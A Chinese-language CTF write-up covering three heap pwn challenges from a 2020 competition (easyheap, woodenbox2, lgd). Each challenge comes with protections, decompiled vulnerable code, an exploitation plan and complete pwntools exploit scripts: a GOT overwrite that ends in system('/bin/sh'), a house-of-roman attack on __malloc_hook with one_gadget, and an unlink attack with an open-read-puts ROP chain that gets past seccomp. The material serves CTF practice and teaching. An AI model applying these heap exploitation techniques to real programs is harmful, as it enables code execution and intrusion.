2020高校战疫 Pwn easyheap 难度 3 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
概述 没有开启EIP,有四个功能add, delete, edit, exit.
vul 1 2 3 4 5 6 7 8 for ( i = 0 ; ptr[i]; ++i );if ( i > 2 ) return puts("Too many items!" ); ptr[i] = malloc(0x10uLL); //先开辟头部 puts("How long is this message?" ); nbytes = inputNum();if ( nbytes > 1024 ) //添加的大小大于1024 时没有释放所管理的头部chunk return puts("Too much size!" );
这个体的漏洞点在先进行开辟内存, 然后再比较大小.可以,若输入的大小太大, 开辟内存后直接返回
思路 我们先计算开辟的偏移, 那么我们就可以利用用这个漏洞来实现任意地址修改.然后修改free的got表, 改为puts, 然后根据传入atoi函数的got地址, 获取atoi在libc中的地址.获取取之后,通过计算偏移获取system地址, 然后修改atoi的got表为所获得的system地址, 改完之后, 添加传入’/bin/sh’获得shell
堆布局 1 2 3 4 5 6 7 8 9 10 11 12 p = p64(exe.got['free' ]) + p64(0x10 ) p += p64(0x0 ) * 2 p += p64(exe.got['atoi' ]) + p64(0x10 ) p += p64(0x0 ) * 2 p += p64(exe.got['atoi' ]) + p64(0x10 ) ad(0x80 , p) rm(0 ) ad(0x401 , 'C' ) ad(0x401 , 'C' ) ad(0x401 , 'C' )
泄漏libc 1 2 3 4 5 6 md(1 , p64(exe.plt['puts' ])[0 :6 ]) rm(2 ) atoi = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) lib.address = atoi - lib.sym['atoi' ] li('libc_base ' + hex (lib.address))
get shell 1 2 3 4 5 ad(0x401 , 'C' ) md(2 , p64(lib.sym['system' ])) sl('/bin/sh' )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import * context.log_level='debug' exeFile = 'easyheap' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, data ): sla(':' , str (1 )) sla('?' , str (size)) if (size <= 0x400 ): sa('?' , data)def rm (idx ): sla(':' , str (2 )) sla('?' , str (idx))def md (idx, data ): sla(':' , str (3 )) sla('?' , str (idx)) sa('?' , data)def dp (idx ): sla(':' , str (4 )) sla(':' , str (idx))def q (): sla(':' , str (5 )) def exploit (): p = p64(exe.got['free' ]) + p64(0x10 ) p += p64(0x0 ) * 2 p += p64(exe.got['atoi' ]) + p64(0x10 ) p += p64(0x0 ) * 2 p += p64(exe.got['atoi' ]) + p64(0x10 ) ad(0x80 , p) rm(0 ) ad(0x401 , 'C' ) ad(0x401 , 'C' ) ad(0x401 , 'C' ) md(1 , p64(exe.plt['puts' ])[0 :6 ]) rm(2 ) atoi = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) lib.address = atoi - lib.sym['atoi' ] li('libc_base ' + hex (lib.address)) ad(0x401 , 'C' ) md(2 , p64(lib.sym['system' ])) sl('/bin/sh' )def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
exp2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "easyheap" libFile = "libc.so.6" remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIBC = 1 r = lambda : io.recv() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, text ): sa(':' , str (1 )) sa('?' , str (size)) if (size > 0x400 ): return sa('?' , text)def rm (index ): sa(':' , str (2 )) sa('?' , str (index))def md (index, text ): sa(':' , str (3 )) sa('?' , str (index)) sa('?' , text)def q (): sa(':' , str (4 ))def exploit (): pl = p64(exe.got['free' ]) + p64(0x400 ) + b'a' * 0x10 + p64(exe.got['atoi' ]) ad(0x400 , pl) rm(0 ) ad(0x401 , '' ) ad(0x401 , '' ) ad(0x401 , '' ) md(1 , p64(exe.plt['puts' ])) rm(2 ) rl() atoi_addr = u64(rl()[0 :6 ] + '\x00\x00' ) sys_addr = atoi_addr + lib.sym['system' ] - lib.sym['atoi' ] li('sys addr:' + hex (sys_addr)) md(1 , p64(sys_addr)) ad(0x16 , '/bin/sh' ) rm(2 ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIBC: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = remote(remoteIp, remotePort) if LIBC: lib = ELF(libFile) exploit() finish()
woodenbox2 难度 5 / 10
保护 1 2 3 4 5 Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
vul 1 2 3 4 5 6 7 8 9 10 11 if ( qword_2020A8[2 * v2] ) { printf ("Please enter the length of item name:" , &buf); read(0 , &nptr, 8uLL ); size = atoi(&nptr); printf ("Please enter the new name of the item:" , &nptr); v3 = read(0 , qword_2020A8[2 * v2], size); if ( *((_BYTE *)qword_2020A8[2 * v2] + v3 - 1 ) == 10 ) *((_BYTE *)qword_2020A8[2 * v2] + v3 - 1 ) = 0 ; *((_DWORD *)&itemlist + 4 * v2) = strlen ((const char *)qword_2020A8[2 * v2]); }
概述 保护全开, 只有四个功能, 添加, 修改, 删除,退出. 退出时有连续释放内存, double free, 是一个典型的house of roman题. 注意的是, 在释放后, 储存指针的数组中的值会往前移动一位.
思路 采用 unsorted bin attack 与 fastbin attack 结合打入IO_2_1_stderr进行泄漏出libc,然后再次利用fastbin attack打入malloc_hook进行one_gadget
利用 堆布局 1 2 3 4 ad(0x68 , '0' * 0x68 ) ad(0x68 , '1' * 0x68 ) ad(0x68 , '2' * 0x68 ) ad(0x68 , '3' * 0x68 )
打入IO_2_1_stderr 1 2 3 4 5 6 7 8 9 10 11 md(0 , 0x70 , '0' * 0x68 + p64(0xe1 )) rm(1 ) rm(1 ) ad(0x38 , '6' * 0x38 ) ad(0x28 , '6' * 0x28 ) md(2 , 0x32 , '5' * 0x28 + p64(0x71 ) + '\xdd\x25' ) ad(0x68 , '\x00' * 0x68 )
泄漏libc 1 2 3 4 5 6 7 8 9 10 11 ad(0x68 , '\x00' * 0x33 + p64(0xfbad3c80 ) + 3 * p64(0 ) + p8(0 )) libc_base = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) libc_base -= lib.sym['_IO_2_1_stderr_' ] + 192 lib.address = libc_base li('libc_base ' + hex (libc_base)) __malloc_hook = lib.sym['__malloc_hook' ] realloc = lib.sym['realloc' ] li('__malloc_hook ' + hex (__malloc_hook)) gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = lib.address + gadget[1 ]
打入malloc_hook 1 2 3 4 5 6 rm(3 ) md(1 , 0x38 , '5' * 0x28 + p64(0x71 ) + p64(__malloc_hook - 0x23 )) ad(0x68 , '\n' ) ad(0x68 , '\x00' * (0x13 - 0x8 ) + p64(one_gadget) + p64(realloc))
getshell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = "./woodenbox2" libFile = "/lib/x86_64-linux-gnu/libc.so.6" remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() pd32 = lambda x : p32(x).decode() pd64 = lambda x : p64(x).decode() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, text ): sla('Your choice:' , str (1 )) sla('name:' , str (size)) sa('item:' , text)def md (idx, size, text ): sla('Your choice:' , str (2 )) sla('item:' , str (idx)) sla('name:' , str (size)) sa('item:' , text)def rm (idx ): sla('Your choice:' , str (3 )) sla('item:' , str (idx))def q (): sla('Your choice:' , str (4 ))def exploit (): ad(0x68 , '0' * 0x68 ) ad(0x68 , '1' * 0x68 ) ad(0x68 , '2' * 0x68 ) ad(0x68 , '3' * 0x68 ) md(0 , 0x70 , '0' * 0x68 + p64(0xe1 )) rm(1 ) rm(1 ) ad(0x38 , '6' * 0x38 ) ad(0x28 , '6' * 0x28 ) md(2 , 0x32 , '5' * 0x28 + p64(0x71 ) + '\xdd\x25' ) ad(0x68 , '\x00' * 0x68 ) ad(0x68 , '\x00' * 0x33 + p64(0xfbad3c80 ) + 3 * p64(0 ) + p8(0 )) libc_base = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) libc_base -= lib.sym['_IO_2_1_stderr_' ] + 192 lib.address = libc_base li('libc_base ' + hex (libc_base)) __malloc_hook = lib.sym['__malloc_hook' ] realloc = lib.sym['realloc' ] li('__malloc_hook ' + hex (__malloc_hook)) gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = lib.address + gadget[1 ] rm(3 ) md(1 , 0x38 , '5' * 0x28 + p64(0x71 ) + p64(__malloc_hook - 0x23 )) ad(0x68 , '\n' ) ad(0x68 , '\x00' * (0x13 - 0x8 ) + p64(one_gadget) + p64(realloc)) sl('1' ) sl('1' ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
gld 难度 6 / 10
保护 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) logan@LYXF:~/share/lgd$ seccomp-tools dump ./lgd line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006 0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x06 0x00 0x00 0x00000000 return KILL
简单描述 有5个功能, 添加, 删除, 打印, 修改, 退出.没有开启EIP, 通过检查seccomp-tools检查, 开启了沙箱,不能get shell方式获取flag, 开了一个BCF(虚假控制流)
vul 1 2 3 4 5 6 7 8 9 10 sub_400896(dword_603010, dword_60303C + 1 , dword_603040); } size = snprintf (byte_6033E0, size, "%s" , &unk_603060); if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 ) { if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
若输入的字符长度大于所输入的大小,造成堆溢出.
知识点 unsorted bin split, unlink attack, environ, seccomp, rop
思路 通过unsoted bin 分割堆块溢出libc基址, 使用unsoted bin taack 打入指针数组, 泄漏environ中的stack地址, 劫持修改功能的ret栈地址, 由于开了沙箱, 那就只能通过open, read, puts来获取方式来打印flag了.
利用 堆布局 1 2 3 4 5 sla('name?' , 'I0gan' ) ad(0x68 , 'A' * 0x100 ) ad(0x68 , 'A' * 0x78 ) ad(0x68 , 'A' * 0x78 ) ad(0x68 , 'A' * 0x78 )
获取libc 1 2 3 4 5 6 7 8 9 p = 'A' * 0x60 p += p64(0 ) p += p64(0xe1 ) md(0 , p) rm(1 ) ad(0x68 , 'A' * 0x78 ) dp(2 ) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 0x3c4b20 - 88 li('libc_base ' + hex (lib.address))
unsoted bin attack 掌控管理指针的数组 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 p = 'A' * 0x60 p += p64(0 ) p += p64(0x71 ) md(0 , p) ad(0x80 , 'A' ) plist = 0x6032f8 p = p64(0 ) p += p64(0x61 ) p += p64(plist - 0x18 ) p += p64(plist - 0x10 ) p += p64(0x60 ) p = p.ljust(0x60 , '\x00' ) p += p64(0x60 ) p += '\x90' md(3 , p) rm(4 )
获取stack地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ''' in exe 4023b3 : pop rdi ; ret 4023b1 : pop rsi ; pop r15 ; ret 400711 : ret in libc 0x33544 : pop rax ; ret read 1 RDI 0x0 2 RSI 0x7fffffffec18 —▸ 0x402327 3 RDX 0x78 ''' pop_rdi = 0x4023b3 pop_rsi_r15 = 0x4023b1 ret = 0x400711 pop_rax = lib.address + 0x33544 pop_rdx = lib.address + 0x1b92 md(3 , p64(lib.sym['_environ' ])) dp(0 ) environ = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) li('environ ' + hex (environ)) md_ret = environ - (0xee38 - 0xec18 ) li('md_ret ' + hex (md_ret))
构造rop链 通过open, read, puts函数实现flag的打印
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 md(3 , p64(md_ret)) puts_plt = exe.plt['puts' ] flag = md_ret + 0x8 * 19 p = p64(pop_rdi) + p64(flag) p += p64(pop_rsi_r15) + p64(0 ) + p64(0 ) p += p64(pop_rdx) + p64(0 ) p += p64(lib.sym['open' ]) p += p64(pop_rdi) + p64(0x3 ) p += p64(pop_rsi_r15) + p64(flag) + p64(0 ) p += p64(pop_rdx) + p64(0x60 ) p += p64(lib.sym['read' ]) p += p64(pop_rdi) + p64(flag) p += p64(lib.sym['puts' ]) p += './flag\x00' sla('>> ' , str (4 )) sla('?' , str (0 )) sa('?' , p)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 from pwn import * context.log_level='debug' exeFile = 'lgd' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size, data ): sla('>> ' , str (1 )) sla('_?' , str (size)) sa('no?' , data)def rm (idx ): sla('>> ' , str (2 )) sla('?' , str (idx))def dp (idx ): sla('>> ' , str (3 )) sla('?' , str (idx))def md (idx, data ): sla('>> ' , str (4 )) sla('?' , str (idx)) sa('?' , data)def q (): sla('>> ' , str (5 )) def exploit (): sla('name?' , 'I0gan' ) ad(0x68 , 'A' * 0x100 ) ad(0x68 , 'A' * 0x78 ) ad(0x68 , 'A' * 0x78 ) ad(0x68 , 'A' * 0x78 ) p = 'A' * 0x60 p += p64(0 ) p += p64(0xe1 ) md(0 , p) rm(1 ) ad(0x68 , 'A' * 0x78 ) dp(2 ) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 0x3c4b20 - 88 li('libc_base ' + hex (lib.address)) p = 'A' * 0x60 p += p64(0 ) p += p64(0x71 ) md(0 , p) ad(0x80 , 'A' ) plist = 0x6032f8 p = p64(0 ) p += p64(0x61 ) p += p64(plist - 0x18 ) p += p64(plist - 0x10 ) p += p64(0x60 ) p = p.ljust(0x60 , '\x00' ) p += p64(0x60 ) p += '\x90' md(3 , p) rm(4 ) ''' in exe 4023b3 : pop rdi ; ret 4023b1 : pop rsi ; pop r15 ; ret 400711 : ret in libc 0x33544 : pop rax ; ret read 1 RDI 0x0 2 RSI 0x7fffffffec18 —▸ 0x402327 3 RDX 0x78 ''' pop_rdi = 0x4023b3 pop_rsi_r15 = 0x4023b1 ret = 0x400711 pop_rax = lib.address + 0x33544 pop_rdx = lib.address + 0x1b92 md(3 , p64(lib.sym['_environ' ])) dp(0 ) environ = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) li('environ ' + hex (environ)) md_ret = environ - (0xee38 - 0xec18 ) li('md_ret ' + hex (md_ret)) md(3 , p64(md_ret)) puts_plt = exe.plt['puts' ] flag = md_ret + 0x8 * 19 p = p64(pop_rdi) + p64(flag) p += p64(pop_rsi_r15) + p64(0 ) + p64(0 ) p += p64(pop_rdx) + p64(0 ) p += p64(lib.sym['open' ]) p += p64(pop_rdi) + p64(0x3 ) p += p64(pop_rsi_r15) + p64(flag) + p64(0 ) p += p64(pop_rdx) + p64(0x60 ) p += p64(lib.sym['read' ]) p += p64(pop_rdi) + p64(flag) p += p64(lib.sym['puts' ]) p += './flag\x00' sla('>> ' , str (4 )) sla('?' , str (0 )) sa('?' , p)def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()